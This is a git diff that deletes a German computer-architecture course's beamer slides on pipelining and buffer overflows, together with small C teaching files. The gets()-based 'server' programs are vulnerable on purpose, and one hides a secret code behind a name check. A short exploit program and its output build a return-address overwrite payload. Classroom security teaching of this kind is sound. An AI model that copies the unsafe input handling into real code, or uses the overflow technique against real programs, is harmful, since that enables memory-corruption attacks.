\cdot b_2 - + a_3 \cdot b_3 - \end{displaymath} - mit einer Pipeline der Länge 3 - - \pause - \medskip - - \begingroup - \setlength{\unitlength}{\baselineskip}% - \begin{picture}(0,0)(-5.0,-0.25) - \color{red} - \put(0,0.0){\only<4->{\insns{3}}} - \put(0.5,-1){\only<5->{\insns{2.9}}} - \put(1.0,-2){\only<6->{\insns{3}}} - \put(0.5,-4.1){\only<8->{\insns{2.8}}} - \put(0.5,-7.1){\only<11->{\insns{2.9}}} - \put(-1.5,-9.25){\only<15->{\shortstack{Daten-\\konflikt}}} - \end{picture}% - \color{structure} - push $a_1 \cdot b_1$\\ - \pause - \pause - push $a_2 \cdot b_2$\\ - \pause - push $a_3 \cdot b_3$\\ - \pause - $s_1$ = pop\\ - \pause - push $s_1 + \mbox{pop}$\\ - \pause - $s_3$ = pop\\ - \pause - nop\\ - \pause - push $s_3 + \mbox{pop}$\\ - \pause - nop\\ - \pause - nop\\ - \pause - $S$ = pop\\ - \endgroup - \pause - \pause - \begin{picture}(0,0) - \color{red} - \put(5,3.8){\makebox(0,0)[l]{$\left.\rule{0pt}{1.2cm}\right\}$ effizient: Pipeline gefüllt}} - \put(5,1.4){\makebox(0,0)[l]{$\left.\rule{0pt}{1.2cm}\right\}$ ineffizient: "`Blasen"'}} - \end{picture} - \pause - \vspace*{-1.25cm} - \begin{flushright} - \dots\ aber immer noch effizienter als\\ - 3 Schritte für jede Operation - \end{flushright} - -\end{frame} - -\subsectionnonumber{Reales Beispiel: \break Vektor-Addition auf i860} - -\begin{frame}[fragile] - - \begin{minipage}[t]{5cm} - \raggedright - \showsubsectionnonumber - \begin{lstlisting} - .align 8 - .globl _vadd - nop - _vadd: - shr 1,r19,r19 - bte r19,r0,exitadd - addu 0x000F,r16,r16 - andnot 0x000F,r16,r16 - adds -16,r16,r16 - addu 0x000F,r17,r17 - andnot 0x000F,r17,r17 - adds -16,r17,r17 - addu 0x000F,r18,r18 - andnot 0x000F,r18,r18 - adds -16,r18,r18 - mov -1,r20 - \end{lstlisting} - \end{minipage} - \begin{minipage}[t]{5cm} - \begin{lstlisting} - fld.q 16(r16)++,f16 - fld.q 16(r17)++,f20 - pfadd.dd f16,f20,f0 - bla r20,r19,loopadd - pfadd.dd f18,f22,f0 - loopadd: - d.pfadd.dd f0,f0,f0 - fld.q 16(r16)++,f16 - d.pfadd.dd f0,f0,f24 - fld.q 16(r17)++,f20 - d.pfadd.dd f16,f20,f26 - bla r20,r19,loopadd - d.pfadd.dd f18,f22,f0 - fst.q f24,16(r18)++ - nop - nop - nop - exitadd: - bri r1 - nop - \end{lstlisting} - \end{minipage} - -\end{frame} - -\lstdefinestyle{shybubble}{basicstyle=\color{lightgray}, - moredelim=**[is][\color{structure}]{¡}{¿}, - moredelim=**[is][\only<7->{\color{red}}]{°}{¿}} - -\begin{frame}[fragile] - - \begin{minipage}[t]{5cm} - \raggedright - \showsubsectionnonumber - \begin{lstlisting}[style=shybubble] - .align 8 - .globl _vadd - nop - _vadd: - shr 1,r19,r19 - bte r19,r0,exitadd - addu 0x000F,r16,r16 - andnot 0x000F,r16,r16 - adds -16,r16,r16 - addu 0x000F,r17,r17 - andnot 0x000F,r17,r17 - adds -16,r17,r17 - addu 0x000F,r18,r18 - andnot 0x000F,r18,r18 - adds -16,r18,r18 - mov -1,r20 - \end{lstlisting} - \end{minipage} - \begin{minipage}[t]{5cm} - \begin{lstlisting}[style=shybubble] - ¡fld.q 16(r16)++,f16 - fld.q 16(r17)++,f20 - pfadd.dd f16,f20,f0 - bla r20,r19,loopadd - pfadd.dd f18,f22,f0 - loopadd: - d.pfadd.dd °f0,f0,f0¿ - fld.q 16(r16)++,f16 - d.pfadd.dd °f0,f0¿,f24 - fld.q 16(r17)++,f20 - d.pfadd.dd f16,f20,f26 - bla r20,r19,loopadd - d.pfadd.dd f18,f22,°f0¿ - fst.q f24,16(r18)++¿ - nop - nop - nop - exitadd: - bri r1 - nop - \end{lstlisting} - \end{minipage} - - \pause - \begingroup - \setlength{\unitlength}{\baselineskip}% - \begin{picture}(0,0)(-21.0,-17.6) - \color{red} - \put(0,0){\only<2->{\insns{5.9}}} - \put(1.0,-2){\only<3->{\insns{6.0}}} - \put(-7,-9){\only<4->{\line(-1,0){1}}} - \put(-8,-9){\only<4->{\line(0,-1){2}}} - \put(-8,-11){\only<4->{\line(-1,0){1}}} - \put(-9,-11){\only<4->{\line(0,1){8}}} - \put(-9,-3){\only<4->{\vector(1,0){0.7}}} - \put(0.8,-7.8){\only<5->{\insnsup{1.7}}} - \put(0.8,-10){\only<6->{\insnsup{1.8}}} - \put(-0.5,-12.5){\only<7->{\mbox{6mal f0 = 2 Blasen}}} - \end{picture}% - \endgroup - - \vspace{-2cm} - \begin{flushright} - \only<8->{Immerhin: 2 Additionen in 4 Taktzyklen} - - \medskip - - \only<9->{Dies ist ein \emph{einfaches} Beispiel.} - \end{flushright} - -\end{frame} - -\subsection{Instruktions-Pipelines} - -\begin{frame}[fragile] - - \showsubsection - - Ein Prozessor benötigt Zeit, um einen Befehl zu verstehen. - - \textarrow\ Während Befehlsausführung nächste Befehle vorauslesen - - \medskip - - \begin{lstlisting}[style=shy] - ².L3: - movw r30,r20¿ - ³add r30,r18¿ - °adc r31,r19¿ - ¤mov r24,r18 - subi r24,lo8(-(1)) - st Z,r24 - subi r18,lo8(-(1)) - sbci r19,hi8(-(1)) - cp r22,r18 - cpc r23,r19¿ - ¢brge .L3¿ - æret¿ - \end{lstlisting} - - \begin{picture}(0,0) - \color{red} - \put(0.5,1.00){\only<8->{\line(-1,0){0.4}}} - \put(0.1,1.00){\only<8->{\line(0,1){4.15}}} - \put(0.1,5.15){\only<8->{\vector(1,0){0.4}}} - \put(0.5,0.90){\only<9->{\line(-1,0){0.4}}} - \put(0.1,0.90){\only<9->{\line(0,-1){0.35}}} - \put(0.1,0.55){\only<9->{\vector(1,0){0.4}}} - \put(2.5,0.825){\only<10->{\begin{minipage}[t]{8cm} - bedingter Sprung: - Welche Befehle vorauslesen?\\[\smallskipamount] - \only<11->{Kontrollflußkonflikt} - \end{minipage}}} - \end{picture} - - \begin{flushright} - \vspace*{-0.5cm} - \only<12->{Lösungsansatz: Zweigvorhersage} - \vspace*{-1cm} - \end{flushright} - -\end{frame} - -\subsubsectionnonumber{Zweigvorhersage -- Branch Prediction} - -\begin{frame}[fragile] - - \showsubsection - \showsubsubsectionnonumber - - \begin{itemize} - \setlength{\unitlength}{\baselineskip}% - \pause - \item - Sprünge nach oben sind Schleifen: "`Ja"'\\ - Sprünge nach unten sind Auswahl-Verzweigungen: "`Nein"' - \pause - \item - Delayed Branches: Sprungbefehl verspätet ausführen\\ - \textarrow\ Optimierung manuell oder durch Compiler - \pause - \medskip - \begin{lstlisting} - loopadd: - d.pfadd.dd f0,f0,f0 - fld.q 16(r16)++,f16 - d.pfadd.dd f0,f0,f24 - fld.q 16(r17)++,f20 - d.pfadd.dd f16,f20,f26 - bla r20,r19,loopadd - d.pfadd.dd f18,f22,f0 - fst.q f24,16(r18)++ - \end{lstlisting} - \begin{picture}(0,0)(-9.6,-12.2) - \color{red} - \put(-7,-9){\line(-1,0){1}} - \put(-8,-9){\line(0,-1){2}} - \put(-8,-11){\line(-1,0){1}} - \put(-9,-11){\line(0,1){8}} - \put(-9,-3){\vector(1,0){0.7}} - \end{picture} - \pause - \item - Branch History Table: Sprünge merken - \pause - \item - \dots - \end{itemize} - -\end{frame} - -\subsectionnonumber{Zusammenfassung} - -\begin{frame} - - \showsection - \showsubsectionnonumber - - \begin{itemize} - \item - Teilaufgaben parallel ausführen - \item - Arithmetik-Pipelines führen Berechnungen parallel aus,\\ - Instruktions-Pipelines lesen Befehle voraus - \item - Ressourcen-, Daten- und Kontrollflußkonflikte führen zu "`Blasen"' - \item - Zweigvorhersage reduziert Kontrollflußkonflikte in Instruktions-Pipelines - \begin{itemize} - \item - nach oben / nach unten - \item - Delayed Branches: manuell optimieren - \item - Branch History Table: Sprünge merken - \end{itemize} - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20210614/rtech-20210614.txt b/20210614/rtech-20210614.txt deleted file mode 100644 index fb8f343e481f1564554b70b935e7e3cc306994af..0000000000000000000000000000000000000000 --- a/20210614/rtech-20210614.txt +++ /dev/null @@ -1,15 +0,0 @@ -Hausarbeit mit Kolloquium, 14.06.2021, 16:28:47 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Offizieller Abgabetermin: 23.7.2021 ---> Bis dahin bitte "irgendetwas" einreichen. - -Zusätzlich: 2 Präsentationstermine -26.7. (5 Präsentationen) und 5.8 (8 + 1 Präsentationen), jeweils ab 11:00 Uhr - -Übungsaufgabe, 14.06.2021, 18:57:44 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Berechnen Sie - möglichst effizient - das Skalarprodukt -zweier Vektoren der Länge 5 mit einer Arithmetik-Pipeline -der Länge 3. Wieviele Blasen erhalten Sie? - -(Siehe Seite 47 der Datei rtech-20210614.pdf) diff --git a/20210614/server-0.c b/20210614/server-0.c deleted file mode 100644 index d9eaf86fe7ad4ac05a647825bcd95d88f62436fd..0000000000000000000000000000000000000000 --- a/20210614/server-0.c +++ /dev/null @@ -1,14 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - int ID; - char buffer[20]; - printf ("Your ID, please: "); - gets (buffer); - sscanf (buffer, "%d", &ID); - printf ("Your name, please: "); - gets (buffer); - printf ("Hello, %s!\nYour ID is %d.\n", buffer, ID); - return 0; -} diff --git a/20210614/server-0a.c b/20210614/server-0a.c deleted file mode 100644 index 5d9d619b815676095d698b6c67d16aed540b4d63..0000000000000000000000000000000000000000 --- a/20210614/server-0a.c +++ /dev/null @@ -1,14 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - static int ID; - static char buffer[20]; - printf ("Your ID, please: "); - gets (buffer); - sscanf (buffer, "%d", &ID); - printf ("Your name, please: "); - gets (buffer); - printf ("Hello, %s!\nYour ID is %d.\n", buffer, ID); - return 0; -} diff --git a/20210614/server-1.c b/20210614/server-1.c deleted file mode 100644 index 68f9eb57f5e277413a0206ed9af175033e9cda9d..0000000000000000000000000000000000000000 --- a/20210614/server-1.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - char buffer[20]; - printf ("Your name, please: "); - gets (buffer); - printf ("Hello, %s!\n", buffer); - return 0; -} diff --git a/20210615/Buegeln.pdf b/20210615/Buegeln.pdf deleted file mode 120000 index 2815ea3ab388d141c6e5f73cd46739f223db8dfc..0000000000000000000000000000000000000000 --- a/20210615/Buegeln.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Buegeln.pdf \ No newline at end of file diff --git a/20210615/Trommeltrocknen.pdf b/20210615/Trommeltrocknen.pdf deleted file mode 120000 index 93e2ad1f81820d422de2faf653a919dcdb99ca82..0000000000000000000000000000000000000000 --- a/20210615/Trommeltrocknen.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Trommeltrocknen.pdf \ No newline at end of file diff --git a/20210615/Waschen_30.pdf b/20210615/Waschen_30.pdf deleted file mode 120000 index ca128204612c7f88c965b7ee5a0aae68075b9ebf..0000000000000000000000000000000000000000 --- a/20210615/Waschen_30.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Waschen_30.pdf \ No newline at end of file diff --git a/20210615/exploit-2.c b/20210615/exploit-2.c deleted file mode 100644 index b13098c5033a54a22cb64bee9005d78a3d860b5d..0000000000000000000000000000000000000000 --- a/20210615/exploit-2.c +++ /dev/null @@ -1,11 +0,0 @@ -#include <stdio.h> -#include <stdint.h> - -int main (int argc, char **argv) -{ - char loop[8]; - uint64_t *loop_int = (uint64_t *) loop; - *loop_int = 0x555555555185; - printf ("Prof. Dr. rer. nat. Dipl.-Phys. Peter Ge%s\n", loop); - return 0; -} diff --git a/20210615/exploit-2.txt b/20210615/exploit-2.txt deleted file mode 100644 index 4d483e9466c1d051bb64e04d7891d3e7dfd48d49..0000000000000000000000000000000000000000 --- a/20210615/exploit-2.txt +++ /dev/null @@ -1 +0,0 @@ -Prof. Dr. rer. nat. Dipl.-Phys. Peter Ge�QUUUU diff --git a/20210615/logo-hochschule-bochum-cvh-text-v2.pdf b/20210615/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20210615/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20210615/logo-hochschule-bochum.pdf b/20210615/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20210615/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210615/pgslides.sty b/20210615/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20210615/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20210615/rtech-20210615.pdf b/20210615/rtech-20210615.pdf deleted file mode 100644 index e0ea88793b7ffbfb872a60997af26a6248c1dd98..0000000000000000000000000000000000000000 Binary files a/20210615/rtech-20210615.pdf and /dev/null differ diff --git a/20210615/rtech-20210615.tex b/20210615/rtech-20210615.tex deleted file mode 100644 index b440a160cb8c22841716f7179381431931bc41ac..0000000000000000000000000000000000000000 --- a/20210615/rtech-20210615.tex +++ /dev/null @@ -1,593 +0,0 @@ -% rtech-20210615.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Puffer-Überläufe, Pipelining - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{rotating} - -\lstdefinestyle{asm}{basicstyle=\color{structure}, - language={}, - gobble=4} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{15.\ Juni 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} - \begin{itemize} - \item[4.1] Implementation - \item[4.2] Unterprogramme - \item[4.3] Register sichern - \item[4.4] Stack-Überläufe - \color{medgreen} - \item[4.5] Puffer-Überläufe - \end{itemize} -% \color{gray} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} - \item[\textbf{5}] \textbf{Anwender-Software} - \item[\textbf{6}] \textbf{Pipelining} - \begin{itemize} - \color{medgreen} - \item[6.1] Konzept - \item[6.2] Arithmetik-Pipelines - \color{red} - \item[6.3] Instruktions-Pipelines - \end{itemize} -% \item[\textbf{7}] \textbf{Bus-Systeme} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{8}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{4} - -\section{Anwender-Software} -\setcounter{subsection}{5} -\subsection{Puffer-Überläufe} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{lstlisting} - #include <stdio.h> - - int main (void) - { - int ID; - char buffer[20]; - printf ("Your ID, please: "); - gets (buffer); - sscanf (buffer, "%d", &ID); - printf ("Your name, please: "); - gets (buffer); - printf ("Hello, %s!\nYour ID is %d.\n", buffer, ID); - return 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \put(5,6){\makebox(0,0)[tl]{\begin{minipage}{6.7cm} - Die Funktion \lstinline{gets()} prüft nicht, ob \lstinline{buffer[]} - für den eingegebenen Namen ausreicht, und überschreibt ggf.\ die - Variable \lstinline{ID} sowie die Rücksprungadresse des Funktionsaufrufs - von \lstinline{main()}. - \end{minipage}}} - \put(6.0,2.5){\makebox(0,0)[l]{\color{red}gets() nicht verwenden!}} - \end{picture} - \vspace*{-1cm} - -\end{frame} - -\setcounter{section}{6} -\section{Pipelining} -\subsection{Konzept} - -\newcommand{\wm}{\raisebox{-0.3cm}{\includegraphics[width=1.0cm]{Waschen_30.pdf}}} -\newcommand{\wt}{\raisebox{-0.3cm}{\includegraphics[width=1.0cm]{Trommeltrocknen.pdf}}} -\newcommand{\be}{\raisebox{-0.3cm}{\includegraphics[width=1.0cm]{Buegeln.pdf}}} - -\begin{frame} - \showsection - -% \pause - \showsubsection - \begin{itemize} - \item - Aufgabe in Teilaufgaben zerlegen - \item - Teilaufgaben parallel ausführen - \end{itemize} - -% \pause - \bigskip - Beispiel: Wäsche waschen -% \pause - \begin{itemize} - \item - Teilaufgaben: \wm, \wt, \be -% \pause - \item - müssen nacheinander ausgeführt werden: Datenfluß -% \pause - \item - belegen jeweils 1 Ressource - \end{itemize} - -\end{frame} - -\begin{frame} - - 3 Ladungen Wäsche - \begin{center} - \begin{onlyenv}<1-2> - \begin{picture}(12,3.5) - \thicklines - \put(1,1){\wm} - \put(2,1){\wt} - \put(3,1){\be} - \put(4,2){\wm} - \put(5,2){\wt} - \put(6,2){\be} - \put(7,3){\wm} - \put(8,3){\wt} - \put(9,3){\be} - \put(-0.1,0.5){\vector(1,0){11.1}} - \put(11.5,0.5){\makebox(0,0){$t$}} - \put(10.5,1.0){\makebox(0,0)[r]{ineffizient}} - \end{picture}\\[\medskipamount] - \end{onlyenv} - \begin{onlyenv}<2-4> - \begin{picture}(12,3.5) - \thicklines - \put(1,1){\wm} - \put(2,1){\wt} - \put(3,1){\be} - \put(2,2){\wm} - \put(3,2){\wt} - \put(4,2){\be} - \put(3,3){\wm} - \put(4,3){\wt} - \put(5,3){\be} - \put(-0.1,0.5){\vector(1,0){11.1}} - \put(11.5,0.5){\makebox(0,0){$t$}} - \put(10.5,1.0){\makebox(0,0)[r]{effizient}} - \end{picture}\\[\medskipamount] - \end{onlyenv} - \begin{onlyenv}<3-> - \begin{picture}(12,3.5) - \thicklines - \put(1,1){\wm} - \put(2,1){\wt} - \put(3,1){\be} - \put(1,2){\wm} - \put(2,2){\wt} - \put(3,2){\be} - \put(1,3){\wm} - \put(2,3){\wt} - \put(3,3){\be} - \put(-0.1,0.5){\vector(1,0){11.1}} - \put(11.5,0.5){\makebox(0,0){$t$}} - \put(10.5,1.0){\makebox(0,0)[r]{noch effizienter}} - \color{red} - \thicklines - \put(0.5,0.8){\only<4->{\line(4,1){10}}} - \put(0.5,3.3){\only<4->{\line(4,-1){10}}} - \put(7.5,1.7){\only<4->{\mbox{\shortstack{Ressourcen-\\konflikt}}}} - \end{picture}\\[\medskipamount] - \end{onlyenv} - \begin{onlyenv}<5-> - \begin{picture}(12,3.5) - \thicklines - \put(1,1){\wm} - \put(2,1){\wt} - \put(3,1){\be} - \put(1,2){\wt} - \put(2,2){\be} - \put(3,2){\wm} - \put(1,3){\be} - \put(2,3){\wm} - \put(3,3){\wt} - \put(-0.1,0.5){\vector(1,0){11.1}} - \put(11.5,0.5){\makebox(0,0){$t$}} - \put(10.5,1.0){\makebox(0,0)[r]{noch effizienter}} - \color{red} - \thicklines - \put(0.5,0.8){\only<6->{\line(4,1){10}}} - \put(0.5,3.3){\only<6->{\line(4,-1){10}}} - \put(7.5,1.7){\only<6->{\mbox{\shortstack{Daten-\\konflikt}}}} - \end{picture}% - \end{onlyenv} - \end{center} - -\end{frame} - -\subsection{Arithmetik-Pipelines} - -\newcommand{\insns}[1]{% - \begin{picture}(0,0) - \put(0,0){\line(1,0){2}} - \put(2,0){\line(0,-1){#1}} - \put(2,-#1){\vector(-1,0){2}} - \end{picture}} - -\newcommand{\insnsup}[1]{% - \begin{picture}(0,0) - \put(0,0){\line(1,0){2}} - \put(2,0){\line(0,1){#1}} - \put(2,#1){\vector(-1,0){2}} - \end{picture}} - -\begin{frame} - - \showsubsection - "`Register-FIFO"' - - \pause - \smallskip - - Pseudo-Code: Berechnung von - \begin{displaymath} - S = \left(\begin{array}{c}a_1\\a_2\\a_3\end{array}\right) - \cdot\left(\begin{array}{c}b_1\\b_2\\b_3\end{array}\right) - = a_1 \cdot b_1 - + a_2 \cdot b_2 - + a_3 \cdot b_3 - \end{displaymath} - mit einer Pipeline der Länge 3 - - \pause - \medskip - - \begingroup - \setlength{\unitlength}{\baselineskip}% - \begin{picture}(0,0)(-5.0,-0.25) - \color{red} - \put(0,0.0){\only<4->{\insns{3}}} - \put(0.5,-1){\only<5->{\insns{2.9}}} - \put(1.0,-2){\only<6->{\insns{3}}} - \put(0.5,-4.1){\only<8->{\insns{2.8}}} - \put(0.5,-7.1){\only<11->{\insns{2.9}}} - \put(-1.5,-9.25){\only<15->{\shortstack{Daten-\\konflikt}}} - \end{picture}% - \color{structure} - push $a_1 \cdot b_1$\\ - \pause - \pause - push $a_2 \cdot b_2$\\ - \pause - push $a_3 \cdot b_3$\\ - \pause - $s_1$ = pop\\ - \pause - push $s_1 + \mbox{pop}$\\ - \pause - $s_3$ = pop\\ - \pause - nop\\ - \pause - push $s_3 + \mbox{pop}$\\ - \pause - nop\\ - \pause - nop\\ - \pause - $S$ = pop\\ - \endgroup - \pause - \pause - \begin{picture}(0,0) - \color{red} - \put(5,3.8){\makebox(0,0)[l]{$\left.\rule{0pt}{1.2cm}\right\}$ effizient: Pipeline gefüllt}} - \put(5,1.4){\makebox(0,0)[l]{$\left.\rule{0pt}{1.2cm}\right\}$ ineffizient: "`Blasen"'}} - \end{picture} - \pause - \vspace*{-1.25cm} - \begin{flushright} - \dots\ aber immer noch effizienter als\\ - 3 Schritte für jede Operation - \end{flushright} - -\end{frame} - -\subsectionnonumber{Reales Beispiel: \break Vektor-Addition auf i860} - -\begin{frame}[fragile] - - \begin{minipage}[t]{5cm} - \raggedright - \showsubsectionnonumber - \begin{lstlisting} - .align 8 - .globl _vadd - nop - _vadd: - shr 1,r19,r19 - bte r19,r0,exitadd - addu 0x000F,r16,r16 - andnot 0x000F,r16,r16 - adds -16,r16,r16 - addu 0x000F,r17,r17 - andnot 0x000F,r17,r17 - adds -16,r17,r17 - addu 0x000F,r18,r18 - andnot 0x000F,r18,r18 - adds -16,r18,r18 - mov -1,r20 - \end{lstlisting} - \end{minipage} - \begin{minipage}[t]{5cm} - \begin{lstlisting} - fld.q 16(r16)++,f16 - fld.q 16(r17)++,f20 - pfadd.dd f16,f20,f0 - bla r20,r19,loopadd - pfadd.dd f18,f22,f0 - loopadd: - d.pfadd.dd f0,f0,f0 - fld.q 16(r16)++,f16 - d.pfadd.dd f0,f0,f24 - fld.q 16(r17)++,f20 - d.pfadd.dd f16,f20,f26 - bla r20,r19,loopadd - d.pfadd.dd f18,f22,f0 - fst.q f24,16(r18)++ - nop - nop - nop - exitadd: - bri r1 - nop - \end{lstlisting} - \end{minipage} - -\end{frame} - -\lstdefinestyle{shybubble}{basicstyle=\color{lightgray}, - moredelim=**[is][\color{structure}]{¡}{¿}, - moredelim=**[is][\only<7->{\color{red}}]{°}{¿}} - -\begin{frame}[fragile] - - \begin{minipage}[t]{5cm} - \raggedright - \showsubsectionnonumber - \begin{lstlisting}[style=shybubble] - .align 8 - .globl _vadd - nop - _vadd: - shr 1,r19,r19 - bte r19,r0,exitadd - addu 0x000F,r16,r16 - andnot 0x000F,r16,r16 - adds -16,r16,r16 - addu 0x000F,r17,r17 - andnot 0x000F,r17,r17 - adds -16,r17,r17 - addu 0x000F,r18,r18 - andnot 0x000F,r18,r18 - adds -16,r18,r18 - mov -1,r20 - \end{lstlisting} - \end{minipage} - \begin{minipage}[t]{5cm} - \begin{lstlisting}[style=shybubble] - ¡fld.q 16(r16)++,f16 - fld.q 16(r17)++,f20 - pfadd.dd f16,f20,f0 - bla r20,r19,loopadd - pfadd.dd f18,f22,f0 - loopadd: - d.pfadd.dd °f0,f0,f0¿ - fld.q 16(r16)++,f16 - d.pfadd.dd °f0,f0¿,f24 - fld.q 16(r17)++,f20 - d.pfadd.dd f16,f20,f26 - bla r20,r19,loopadd - d.pfadd.dd f18,f22,°f0¿ - fst.q f24,16(r18)++¿ - nop - nop - nop - exitadd: - bri r1 - nop - \end{lstlisting} - \end{minipage} - - \pause - \begingroup - \setlength{\unitlength}{\baselineskip}% - \begin{picture}(0,0)(-21.0,-17.6) - \color{red} - \put(0,0){\only<2->{\insns{5.9}}} - \put(1.0,-2){\only<3->{\insns{6.0}}} - \put(-7,-9){\only<4->{\line(-1,0){1}}} - \put(-8,-9){\only<4->{\line(0,-1){2}}} - \put(-8,-11){\only<4->{\line(-1,0){1}}} - \put(-9,-11){\only<4->{\line(0,1){8}}} - \put(-9,-3){\only<4->{\vector(1,0){0.7}}} - \put(0.8,-7.8){\only<5->{\insnsup{1.7}}} - \put(0.8,-10){\only<6->{\insnsup{1.8}}} - \put(-0.5,-12.5){\only<7->{\mbox{6mal f0 = 2 Blasen}}} - \end{picture}% - \endgroup - - \vspace{-2cm} - \begin{flushright} - \only<8->{Immerhin: 2 Additionen in 4 Taktzyklen} - - \medskip - - \only<9->{Dies ist ein \emph{einfaches} Beispiel.} - \end{flushright} - -\end{frame} - -\subsection{Instruktions-Pipelines} - -\begin{frame}[fragile] - - \showsubsection - - Ein Prozessor benötigt Zeit, um einen Befehl zu verstehen. - - \textarrow\ Während Befehlsausführung nächste Befehle vorauslesen - - \medskip - - \begin{lstlisting}[style=shy] - ².L3: - movw r30,r20¿ - ³add r30,r18¿ - °adc r31,r19¿ - ¤mov r24,r18 - subi r24,lo8(-(1)) - st Z,r24 - subi r18,lo8(-(1)) - sbci r19,hi8(-(1)) - cp r22,r18 - cpc r23,r19¿ - ¢brge .L3¿ - æret¿ - \end{lstlisting} - - \begin{picture}(0,0) - \color{red} - \put(0.5,1.00){\only<8->{\line(-1,0){0.4}}} - \put(0.1,1.00){\only<8->{\line(0,1){4.15}}} - \put(0.1,5.15){\only<8->{\vector(1,0){0.4}}} - \put(0.5,0.90){\only<9->{\line(-1,0){0.4}}} - \put(0.1,0.90){\only<9->{\line(0,-1){0.35}}} - \put(0.1,0.55){\only<9->{\vector(1,0){0.4}}} - \put(2.5,0.825){\only<10->{\begin{minipage}[t]{8cm} - bedingter Sprung: - Welche Befehle vorauslesen?\\[\smallskipamount] - \only<11->{Kontrollflußkonflikt} - \end{minipage}}} - \end{picture} - - \begin{flushright} - \vspace*{-0.5cm} - \only<12->{Lösungsansatz: Zweigvorhersage} - \vspace*{-1cm} - \end{flushright} - -\end{frame} - -\subsubsectionnonumber{Zweigvorhersage -- Branch Prediction} - -\begin{frame}[fragile] - - \showsubsection - \showsubsubsectionnonumber - - \begin{itemize} - \setlength{\unitlength}{\baselineskip}% - \pause - \item - Sprünge nach oben sind Schleifen: "`Ja"'\\ - Sprünge nach unten sind Auswahl-Verzweigungen: "`Nein"' - \pause - \item - Delayed Branches: Sprungbefehl verspätet ausführen\\ - \textarrow\ Optimierung manuell oder durch Compiler - \pause - \medskip - \begin{lstlisting} - loopadd: - d.pfadd.dd f0,f0,f0 - fld.q 16(r16)++,f16 - d.pfadd.dd f0,f0,f24 - fld.q 16(r17)++,f20 - d.pfadd.dd f16,f20,f26 - bla r20,r19,loopadd - d.pfadd.dd f18,f22,f0 - fst.q f24,16(r18)++ - \end{lstlisting} - \begin{picture}(0,0)(-9.6,-12.2) - \color{red} - \put(-7,-9){\line(-1,0){1}} - \put(-8,-9){\line(0,-1){2}} - \put(-8,-11){\line(-1,0){1}} - \put(-9,-11){\line(0,1){8}} - \put(-9,-3){\vector(1,0){0.7}} - \end{picture} - \pause - \item - Branch History Table: Sprünge merken - \pause - \item - \dots - \end{itemize} - -\end{frame} - -\subsectionnonumber{Zusammenfassung} - -\begin{frame} - - \showsection - \showsubsectionnonumber - - \begin{itemize} - \item - Teilaufgaben parallel ausführen - \item - Arithmetik-Pipelines führen Berechnungen parallel aus,\\ - Instruktions-Pipelines lesen Befehle voraus - \item - Ressourcen-, Daten- und Kontrollflußkonflikte führen zu "`Blasen"' - \item - Zweigvorhersage reduziert Kontrollflußkonflikte in Instruktions-Pipelines - \begin{itemize} - \item - nach oben / nach unten - \item - Delayed Branches: manuell optimieren - \item - Branch History Table: Sprünge merken - \end{itemize} - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20210615/server-2.c b/20210615/server-2.c deleted file mode 100644 index e8db2ceb19abb3e931815ba156e045458a8f65cf..0000000000000000000000000000000000000000 --- a/20210615/server-2.c +++ /dev/null @@ -1,14 +0,0 @@ -#include <stdio.h> -#include <string.h> - -int main (void) -{ - char buffer[20]; - printf ("Your name, please: "); - gets (buffer); - if (strcmp (buffer, "amerkel") == 0) - printf ("Hello, %s! Here is the secret code:\n13 23 42 137 1117\n", buffer); - else - printf ("Hello, %s! You have restricted guest access.\n", buffer); - return 0; -} diff --git a/20210621/1329px-Motherboard_diagram.svg.png b/20210621/1329px-Motherboard_diagram.svg.png deleted file mode 